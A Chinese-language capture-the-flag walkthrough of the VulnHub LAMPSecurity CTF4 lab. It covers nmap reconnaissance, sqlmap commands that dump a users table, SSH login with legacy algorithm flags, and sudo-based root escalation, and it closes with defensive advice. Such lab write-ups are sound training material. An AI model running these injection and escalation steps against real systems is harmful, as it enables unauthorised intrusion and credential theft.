LAMPSecurity: CTF4
字数 1250 2025-08-11 08:36:09

LAMPSecurity: CTF4 渗透测试教学文档

1. 环境部署

1.1 下载靶机

  • 下载地址: https://download.vulnhub.com/lampsecurity/ctf4.zip
  • 文件格式: ZIP压缩包

1.2 虚拟机配置

  • 使用VMware搭建靶机环境
  • 攻击机: Kali Linux (VMware虚拟机)
  • 网络配置: 靶机和攻击机置于同一网段

2. 信息收集阶段

2.1 网络扫描

  1. 扫描网段寻找靶机IP:

    netdiscover
    
    • 发现攻击机IP: 192.168.237.156
    • 靶机IP: 192.168.237.162
  2. 使用nmap进行深度扫描:

    nmap -sV -A 192.168.237.162
    
    • 开放端口:
      • 22/tcp: SSH服务
      • 25/tcp: SMTP服务
      • 80/tcp: HTTP服务

2.2 Web服务枚举

  1. 访问80端口Web服务

  2. 检查robots.txt文件:

    • 发现以下路径:
      • /mail - 登录页面
      • /restricted - 需要认证的页面
      • /conf - 返回500错误
      • /sql - SQL配置文件
      • /admin - 管理员登录页面
  3. 分析/sql路径下的配置文件:

    • 发现数据库连接信息:
      • user: ehks
      • password: [未显示]
      • blog: 关联到主页的blog功能

2.3 SQL注入漏洞发现

  1. 测试blog功能点是否存在SQL注入:
    • 在URL参数中插入测试payload
    • 确认存在SQL注入漏洞

3. 漏洞利用

3.1 SQL注入利用

  1. 使用sqlmap自动化工具:

    sqlmap -u "http://192.168.237.162/blog?param=1" --dbs
    
    • 爆出数据库:
      • ehks
      • information_schema
      • mysql
      • performance_schema
  2. 重点查看ehks数据库:

    sqlmap -u "http://192.168.237.162/blog?param=1" -D ehks --tables
    sqlmap -u "http://192.168.237.162/blog?param=1" -D ehks -T users --dump
    
    • 获取到明文凭证:
      • 用户名: dstevens
      • 密码: [明文密码]

3.2 SSH登录尝试

  1. 初始SSH登录失败:

    ssh dstevens@192.168.237.162
    
    • 遇到密钥交换算法不兼容问题
  2. 解决方法:

    ssh -o KexAlgorithms=+diffie-hellman-group-exchange-sha1 -o HostKeyAlgorithms=+ssh-rsa dstevens@192.168.237.162
    
    • 成功登录

3.3 权限提升

  1. 检查当前用户权限:

    whoami
    id
    pwd
    
    • 确认是普通用户
  2. 检查sudo权限:

    sudo -l
    
    • 发现可以无限制切换到root用户
  3. 提权:

    sudo su
    
    • 输入dstevens的密码
    • 成功获取root权限

4. 其他漏洞验证

4.1 XSS漏洞发现

  1. 路径: /admin → Post blog
  2. 漏洞类型: 反射型XSS
  3. 利用方式:
    • 修改前端HTML代码
    • 插入恶意脚本
    • 成功触发弹窗

5. 总结与关键点

5.1 关键步骤

  1. 全面的信息收集(nmap, robots.txt)
  2. 配置文件泄露导致SQL注入点发现
  3. sqlmap自动化利用获取数据库凭证
  4. SSH特殊参数绕过连接限制
  5. sudo配置不当导致的简单提权

5.2 学习要点

  1. 细心分析每个发现的信息点(如/sql配置文件)
  2. 遇到连接问题时考虑协议/算法兼容性
  3. 检查sudo -l是提权的重要步骤
  4. 即使主要目标达成也应探索其他可能的漏洞

5.3 防御建议

  1. 避免在配置文件中存储敏感信息
  2. 实施严格的输入过滤防止SQL注入
  3. 合理配置sudo权限
  4. 更新SSH服务使用更安全的密钥交换算法
  5. 实施前端输入过滤防止XSS攻击
LAMPSecurity: CTF4 渗透测试教学文档 1. 环境部署 1.1 下载靶机 下载地址: https://download.vulnhub.com/lampsecurity/ctf4.zip 文件格式: ZIP压缩包 1.2 虚拟机配置 使用VMware搭建靶机环境 攻击机: Kali Linux (VMware虚拟机) 网络配置: 靶机和攻击机置于同一网段 2. 信息收集阶段 2.1 网络扫描 扫描网段寻找靶机IP: 发现攻击机IP: 192.168.237.156 靶机IP: 192.168.237.162 使用nmap进行深度扫描: 开放端口: 22/tcp: SSH服务 25/tcp: SMTP服务 80/tcp: HTTP服务 2.2 Web服务枚举 访问80端口Web服务 检查robots.txt文件: 发现以下路径: /mail - 登录页面 /restricted - 需要认证的页面 /conf - 返回500错误 /sql - SQL配置文件 /admin - 管理员登录页面 分析/sql路径下的配置文件: 发现数据库连接信息: user: ehks password: [ 未显示 ] blog: 关联到主页的blog功能 2.3 SQL注入漏洞发现 测试blog功能点是否存在SQL注入: 在URL参数中插入测试payload 确认存在SQL注入漏洞 3. 漏洞利用 3.1 SQL注入利用 使用sqlmap自动化工具: 爆出数据库: ehks information_ schema mysql performance_ schema 重点查看ehks数据库: 获取到明文凭证: 用户名: dstevens 密码: [ 明文密码 ] 3.2 SSH登录尝试 初始SSH登录失败: 遇到密钥交换算法不兼容问题 解决方法: 成功登录 3.3 权限提升 检查当前用户权限: 确认是普通用户 检查sudo权限: 发现可以无限制切换到root用户 提权: 输入dstevens的密码 成功获取root权限 4. 其他漏洞验证 4.1 XSS漏洞发现 路径: /admin → Post blog 漏洞类型: 反射型XSS 利用方式: 修改前端HTML代码 插入恶意脚本 成功触发弹窗 5. 总结与关键点 5.1 关键步骤 全面的信息收集(nmap, robots.txt) 配置文件泄露导致SQL注入点发现 sqlmap自动化利用获取数据库凭证 SSH特殊参数绕过连接限制 sudo配置不当导致的简单提权 5.2 学习要点 细心分析每个发现的信息点(如/sql配置文件) 遇到连接问题时考虑协议/算法兼容性 检查sudo -l是提权的重要步骤 即使主要目标达成也应探索其他可能的漏洞 5.3 防御建议 避免在配置文件中存储敏感信息 实施严格的输入过滤防止SQL注入 合理配置sudo权限 更新SSH服务使用更安全的密钥交换算法 实施前端输入过滤防止XSS攻击